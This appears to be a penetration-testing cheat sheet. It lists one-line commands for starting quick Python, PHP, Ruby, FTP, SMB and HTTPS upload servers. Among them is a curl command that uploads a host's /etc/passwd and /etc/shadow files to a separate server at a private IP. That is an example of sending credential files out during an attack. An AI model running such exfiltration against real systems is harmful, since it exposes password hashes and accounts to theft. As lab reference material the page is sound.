Personal web server

Python

python3 -m http.server 8080

Updog

updog -d $(echo $(pwd)/) -p 80

uploadserver

sudo python3 -m pip install --user uploadserver
  • make it secure

openssl req -x509 -out server.pem -keyout server.pem -newkey rsa:2048 -nodes -sha256 -subj '/CN=server'
mkdir https && cd https
sudo python3 -m uploadserver 443 --server-certificate ~/server.pem

Linux - Upload Multiple Files

curl -X POST https://192.168.49.128/upload -F 'files=@/etc/passwd' -F 'files=@/etc/shadow' --insecure
  • We used the option --insecure because we used a self-signed certificate that we trust.

Linux - Creating a Web Server with PHP

php -S 0.0.0.0:8000

Linux - Creating a Web Server with Ruby

ruby -run -ehttpd . -p8000

FTP Server

 sudo python -m pyftpdlib -p 21

SMB Server

impacket-smbserver -smb2support share $(pwd)

References

Last updated